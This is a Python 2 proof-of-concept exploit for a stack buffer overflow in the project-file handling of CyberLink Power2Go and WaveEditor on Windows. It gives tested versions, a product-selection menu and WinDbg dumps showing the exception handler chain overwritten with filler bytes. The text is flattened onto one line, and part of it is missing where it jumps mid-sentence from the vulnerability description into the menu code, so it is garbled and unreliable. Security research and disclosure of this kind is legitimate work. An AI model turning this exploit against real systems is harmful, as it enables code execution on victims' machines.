#!/usr/bin/python # # Exploit Title: CyberLink Multiple Products File Project Handling Stack Buffer Overflow POC # by: modpr0be[at]spentera[dot]com (@modpr0be) # Platform: Windows # Tested on: Windows XP SP3, Windows 7 SP1 with: # CyberLink Power2Go 7 (build 196) # CyberLink Power2Go 8 (build 1031) # CyberLink WaveEditor 2.0 (build 2204) # Software Link: http://www.cyberlink.com/downloads/trials/index_en_US.html # CVE : - ### Software Description # CyberLink Power2Go is all-media disc burning software. # Copy all your media to any disc with Power2Go 8! With new System Recovery tools # and over 5000 free DVD menus to choose from on DirectorZone.com, Power2Go 8 not # only burns everything but allows you to create pro-like DVDs, rip CDs and # safeguard valuable data. # CyberLink Wave Editor will help user to convert audio format when producing, editing, # or creating backups for some audios or videos. This additional tools is also included # since PowerDirector 9 to PowerDirector 10, and now included on Power2Go 8. ### Vulnerability Details # Most of CyberLink products contain built-in project file with their own format and # extension. This file usually contains our recently modified project or work. # Most of this filetypes contain this section: # | @modpr0be" print "\t1.CyberLink Power2Go <= 8.0" print "\t2.CyberLink WaveEditor <= 2.0" a = 0 while a < 2: a = a + 1 op = input ("[!] Choose the product: ") if op == 1: power2go() sys.exit() elif op == 2: waveeditor() sys.exit() else: print "[-] Oh plz.. pick the right one :)\r\n" ### DUMP OF POWER2GO #(d18.c60): Break instruction exception - code 80000003 (first chance) #eax=7ffde000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 #eip=7c90120e esp=07d4ffcc ebp=07d4fff4 iopl=0 nv up ei pl zr na pe nc #cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 #ntdll!DbgBreakPoint: #7c90120e cc int 3 #Missing image name, possible paged-out or corrupt data. #Missing image name, possible paged-out or corrupt data. #0:022> g #(d18.d40): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=ec8b55ff ebx=010358b0 ecx=78ad8951 edx=005b12fc esi=00430043 edi=0012d69c #eip=ec8b55ff esp=0012ca70 ebp=00000000 iopl=0 nv up ei pl zr na pe nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00010246 #ec8b55ff ?? ??? #*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\CyberLink\Power2Go8\Power2Go8.exe - #0:000> !exchain #0012ca9c: Power2Go8!CCLAuMixerAPI::operator=+156ba8 (00560dc8) #0012d104: Power2Go8!CCLAuMixerAPI::operator=+25e23 (00430043) #Invalid exception stack at 00420042 #0:000> d 0012d104 #0012d104 42 00 42 00 43 00 43 00-43 00 43 00 43 00 43 00 B.B.C.C.C.C.C.C. #0012d114 43 00 43 00 43 00 43 00-43 00 43 00 43 00 43 00 C.C.C.C.C.C.C.C. #0012d124 43 00 43 00 43 00 43 00-43 00 43 00 43 00 43 00 C.C.C.C.C.C.C.C. #0012d134 43 00 43 00 43 00 43 00-43 00 43 00 43 00 43 00 C.C.C.C.C.C.C.C. #0012d144 43 00 43 00 43 00 43 00-43 00 43 00 43 00 43 00 C.C.C.C.C.C.C.C. #0012d154 43 00 43 00 43 00 43 00-43 00 43 00 43 00 43 00 C.C.C.C.C.C.C.C. #0012d164 43 00 43 00 43 00 43 00-43 00 43 00 43 00 43 00 C.C.C.C.C.C.C.C. #0012d174 43 00 43 00 43 00 43 00-43 00 43 00 43 00 43 00 C.C.C.C.C.C.C.C. ### DUMP OF WAVE EDITOR #(e44.734): Break instruction exception - code 80000003 (first chance) #eax=7ffd9000 ebx=00000001 ecx=00000002 edx=00000003 esi=00000004 edi=00000005 #eip=7c90120e esp=00e5ffcc ebp=00e5fff4 iopl=0 nv up ei pl zr na pe nc #cs=001b ss=0023 ds=0023 es=0023 fs=0038 gs=0000 efl=00000246 #ntdll!DbgBreakPoint: #7c90120e cc int 3 #Missing image name, possible paged-out or corrupt data. #Missing image name, possible paged-out or corrupt data. #0:016> g #(e44.e48): Access violation - code c0000005 (first chance) #First chance exceptions are reported before any exception handling. #This exception may be expected and handled. #eax=00410041 ebx=ffffffff ecx=0240868b edx=420b1802 esi=022ccbe8 edi=00d2f848 #eip=024c47af esp=0012c424 ebp=0012c42c iopl=0 nv up ei pl nz na pe nc #cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210206 #*** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\CyberLink\WaveEditor\WaveKernel.dll - #WaveKernel!ReleaseWaveKernelClient+0x12a8f: #024c47af 8b4208 mov eax,dword ptr [edx+8] ds:0023:420b180a=???????? #Missing image name, possible paged-out or corrupt data. #Missing image name, possible paged-out or corrupt data. #0:000> !exchain #0012c898: *** ERROR: Symbol file could not be found. Defaulted to export symbols for C:\Program Files\CyberLink\WaveEditor\WaveEditor.exe - #WaveEditor!CCLAuMixerAPI::CCLAuMixerAPI+da61 (00410041) #Invalid exception stack at 00410041 #0:000> d 0012c898 #0012c898 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. #0012c8a8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. #0012c8b8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. #0012c8c8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. #0012c8d8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. #0012c8e8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. #0012c8f8 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. #0012c908 41 00 41 00 41 00 41 00-41 00 41 00 41 00 41 00 A.A.A.A.A.A.A.A. #